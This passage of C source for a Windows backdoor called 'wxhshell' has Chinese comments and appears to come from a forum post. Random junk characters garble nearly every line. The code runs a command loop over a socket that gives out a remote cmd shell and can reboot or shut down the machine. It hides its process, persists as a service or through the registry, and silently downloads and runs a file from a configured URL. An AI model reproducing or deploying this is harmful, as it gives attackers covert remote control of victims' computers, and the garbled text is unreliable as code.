  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :1"k`AG  
  } Ui1s ]R  
  else { .>}Z3jUrf  
/&czaAR-  
    switch(cmd[0]) { QWt3KW8)  
   -V"W  
  // 帮助 qf@P9M  
  case '?': { UbIUc}ge  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); S|6i]/  
    break; $i!r> .Jo  
  } U ){4W0  
  // 安装 #_IuB) qy  
  case 'i': { Qk|+Gj  
    if(Install()) VT~%);.#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q$k#q<+0  
    else Z?&ZgaSz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6p&uifY}tR  
    break; 68<W6z  
    } *L Y6hph"  
  // 卸载 ~oK0k_{~  
  case 'r': { D=.Ob<m`Z  
    if(Uninstall()) H,7!"!?@N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6T_Ya)  
    else DqmKD U  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  B"5xs  
    break; Oc.8d<  
    } s%~Nx3,  
  // 显示 wxhshell 所在路径 c&h8Qk3  
  case 'p': { 4? rEO(SZ  
    char svExeFile[MAX_PATH]; c@nh>G:y{&  
    strcpy(svExeFile,"\n\r"); { utnbtmu  
      strcat(svExeFile,ExeFile); @~5Fcfmm  
        send(wsh,svExeFile,strlen(svExeFile),0); xh25 *y  
    break; #i*PwgC%_  
    } zYWVz3l  
  // 重启 v:9'k~4)  
  case 'b': { iO18FfM_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /t2H%#v{  
    if(Boot(REBOOT)) lh XD9ed  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %503 <j  
    else { XgeUS;qtta  
    closesocket(wsh); pbwOma2  
    ExitThread(0); :2wT)wz  
    } Q]RE,ZZ  
    break; @$%.iQ7A;  
    } KilN`?EJ  
  // 关机 +Ll29Buyi  
  case 'd': { +;oR_]l  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); F/:%YR;  
    if(Boot(SHUTDOWN)) ^AXH}g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \.P#QVuQ  
    else { $j@P 8<M7  
    closesocket(wsh); p`52  
    ExitThread(0); WZTv  
    } YzEOfHL,  
    break; t.bM]QU!1  
    } x[+bLlb  
  // 获取shell #P!M"_z  
  case 's': { 2<'ol65/c  
    CmdShell(wsh); l>(*bb1}b  
    closesocket(wsh); &#.>-D{  
    ExitThread(0); pDhUD}1G  
    break; l!\~T"-7;:  
  } [I<J6=  
  // 退出 !i@A}$y  
  case 'x': { Aq>?G+  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); + kF%>F]  
    CloseIt(wsh); `ooHABC  
    break; e9QjRx  
    } QXy= |  
  // 离开 7lwFxP5QT  
  case 'q': { #60gjHYaV  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;W\?lGOs{  
    closesocket(wsh); ''z]o#=^9  
    WSACleanup(); 1jPh0?BY  
    exit(1); ZcTjOy?  
    break; \uJ+~db=  
        } :C={Z}t/F  
  } j|XL$Q  
  } }-9 c1&m  
O+[s4]  
  // 提示信息 ~K(mt0T )  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >>8{N)c5E  
} n+2>jY  
  } g{K \  
]bstkf}~u  
  return; @V^5_K  
} e :T9f('  
f*p=j(sF  
// shell模块句柄 [N"=rY4G  
int CmdShell(SOCKET sock) 6X4r2Vq  
{ Wq}W )E  
STARTUPINFO si; i#*lK7  
ZeroMemory(&si,sizeof(si)); 4jjo%N  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W?[ C au-  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /2tP d  
PROCESS_INFORMATION ProcessInfo; =hI;5KF  
char cmdline[]="cmd"; s E;2;2u"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8VC%4+.FF  
  return 0; d-8{}Q  
} l701$>>  
? Y luX  
// 自身启动模式 2NB $(4/  
int StartFromService(void) z2#k /3%o=  
{ UoSc<h|  
typedef struct 4`Jf_C  
{ )XoMOz  
  DWORD ExitStatus; JE<h  
  DWORD PebBaseAddress; ,)VAKrSg  
  DWORD AffinityMask; =p:~sn#  
  DWORD BasePriority; gQ<{NQMzvd  
  ULONG UniqueProcessId; )lJi7 ^,  
  ULONG InheritedFromUniqueProcessId; 5s>>] .%  
}   PROCESS_BASIC_INFORMATION; _p^Wc.[~M  
(aq-aum-I  
PROCNTQSIP NtQueryInformationProcess; Zvra >%  
`91Z]zGpU  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;  w U1[/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; b+L!p.:  
i 8%@4U/ J  
  HANDLE             hProcess; u('`.dwkc  
  PROCESS_BASIC_INFORMATION pbi; #CW{y?=  
/Kd'!lMuz  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); xZ SDA8kS  
  if(NULL == hInst ) return 0; BH}M]<5  
!Fs<r)j  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ZoCk]hk  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5'<a,,RKu  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); vN~joQ=d  
43~v1pf{!  
  if (!NtQueryInformationProcess) return 0; -M4VC^_  
PI"6d)S2  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); '?LqVzZI  
  if(!hProcess) return 0; k`s_31<  
%MEWw  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _lC0XDZ  
CioS}K  
  CloseHandle(hProcess); W*,$0 t  
qca=a }  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); @4Q /J$  
if(hProcess==NULL) return 0; VJ1rU mO~  
WmRu3O  
HMODULE hMod; : ?>yi7w  
char procName[255]; EoS6t  
unsigned long cbNeeded; M-e|$'4u  
H29vuGQjq  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); m6Qm }""  
o  WAy[  
  CloseHandle(hProcess); p<y \ ^a  
^Cj3\G4,  
if(strstr(procName,"services")) return 1; // 以服务启动 ,L-V?B(UQ  
zy|h1 .gd  
  return 0; // 注册表启动 S%wd Xe  
} =4OV }z=I  
A+z}z@K  
// 主模块 ^+kymZ  
int StartWxhshell(LPSTR lpCmdLine) G-#rWZ&  
{ &z>iqm"Ww  
  SOCKET wsl; gf^y3F[\  
BOOL val=TRUE; NL'(/|)  
  int port=0; ~3|)[R=+p1  
  struct sockaddr_in door; 9S<V5$}  
o :j'd  
  if(wscfg.ws_autoins) Install(); JM53sx4&  
*@W B aN+  
port=atoi(lpCmdLine); &G?w*w_n  
v|@EuN14<  
if(port<=0) port=wscfg.ws_port; >x ]{c b/m  
R_vK^Da  
  WSADATA data; Cn_r?1{W  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; vtc%MG1  
7dOpJjv?)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #E#@6ZomT  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &3itBQF  
  door.sin_family = AF_INET; z9v70 q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); L^2wEF  
  door.sin_port = htons(port); //bQD>NBO  
FS*J8)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (@=h(u.  
closesocket(wsl); cb/$P!j7  
return 1; 3~LNz8Z*  
} Ml )<4@  
cmY `$=  
  if(listen(wsl,2) == INVALID_SOCKET) { wBEBj7(y  
closesocket(wsl); 4Vd[cRh2  
return 1; w,X J8+B  
} X9rao n  
  Wxhshell(wsl); *r|1 3|k  
  WSACleanup(); T ^ #1T$  
9j5B(_J^  
return 0; !yz3:Yzu  
`6PBV+]Vm3  
} ; NO#/  
\[/}Cy  
// 以NT服务方式启动 HaF&ooI5+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) uI3oPP> $  
{ g<:TsP'|  
DWORD   status = 0;  vF'IK,  
  DWORD   specificError = 0xfffffff; %Siw>  
_6L'}X$)N  
  serviceStatus.dwServiceType     = SERVICE_WIN32; WY26Iq@C  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; V h5\'Sn  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  gA19f  
  serviceStatus.dwWin32ExitCode     = 0; W~s:SN  
  serviceStatus.dwServiceSpecificExitCode = 0; dE 3M   
  serviceStatus.dwCheckPoint       = 0; LwH+X:?i  
  serviceStatus.dwWaitHint       = 0; r'@7aT&_  
bKh}Y`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Q*8 x Bi1  
  if (hServiceStatusHandle==0) return; e|^.N[W  
M-8d*#_P  
status = GetLastError(); WWLf'89It  
  if (status!=NO_ERROR) Wq<H sJd/  
{ y"H(F,(N  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %-|$7?~   
    serviceStatus.dwCheckPoint       = 0; G+m[W  
    serviceStatus.dwWaitHint       = 0; V Y@`)  
    serviceStatus.dwWin32ExitCode     = status; hz h3p[  
    serviceStatus.dwServiceSpecificExitCode = specificError; Tq8U5#NF  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); uTy00`1  
    return; C @P$RVS  
  } -y/Y%]%0  
T6\d]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; w~n+hhMF  
  serviceStatus.dwCheckPoint       = 0; <B+ WM  
  serviceStatus.dwWaitHint       = 0; 8boiJku`  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); WGUd@lC~  
} V)I Tk \  
p1IN%*IV+o  
// 处理NT服务事件,比如:启动、停止 +}BKDEb  
VOID WINAPI NTServiceHandler(DWORD fdwControl) C *7x7|z  
{ 9q2x}  
switch(fdwControl) Seq ^o=  
{ ]DZ~"+LaG  
case SERVICE_CONTROL_STOP: 0 n|>/i  
  serviceStatus.dwWin32ExitCode = 0; [9y y<Z5  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; OSwum!hzN  
  serviceStatus.dwCheckPoint   = 0; M0]J `fL@  
  serviceStatus.dwWaitHint     = 0; XFi9qL^  
  { 2l~qzT-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pQ8f$I#v  
  } = jTC+0u  
  return; .la_u8A]  
case SERVICE_CONTROL_PAUSE: w(Q{;RNM;  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }RQHsS  
  break; SOS|3q_`  
case SERVICE_CONTROL_CONTINUE: r4]hcoU  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /5?tXH"  
  break; ~^o YPd52*  
case SERVICE_CONTROL_INTERROGATE: m;vm7]5  
  break; l_ LH!Tu  
}; ZtpbKy!\$B  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `a@YbuLd  
} ];QX&";Z  
Y{8}z ZD  
// 标准应用程序主函数 $$'[ %  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) FyV $`c$  
{ GvL\%0Ibx  
p)~EG=p  
// 获取操作系统版本 ~hT(uxU/  
OsIsNt=GetOsVer(); 4v`;D,dIu  
GetModuleFileName(NULL,ExeFile,MAX_PATH); )\{]4[9N  
`Zci <  
  // 从命令行安装 ayLINpL  
  if(strpbrk(lpCmdLine,"iI")) Install(); }50s\H._C  
cY|@s?3NND  
  // 下载执行文件 z AY -Y  
if(wscfg.ws_downexe) { E .CG  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) d;).| .}P  
  WinExec(wscfg.ws_filenam,SW_HIDE); v/,,z+%-  
} t;t;+M|W  
n9k-OGJ  
if(!OsIsNt) { W}WDj:  
// 如果时win9x,隐藏进程并且设置为注册表启动 T~d_?UAw$  
HideProc(); UvL=^*tm  
StartWxhshell(lpCmdLine); %'Z`425a  
} D<T:UJ  
else E/^N   
  if(StartFromService()) ~{t<g;F  
  // 以服务方式启动 9]g`VD6 <v  
  StartServiceCtrlDispatcher(DispatchTable); 6N/6WrQEeg  
else 6vg` 8  
  // 普通方式启动 _ F2ofB'  
  StartWxhshell(lpCmdLine); 2WB`+oWox  
c(s: f@ 1  
return 0; u_Xp\RJ  
}
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只看该作者 1 发表于: 2006-10-10
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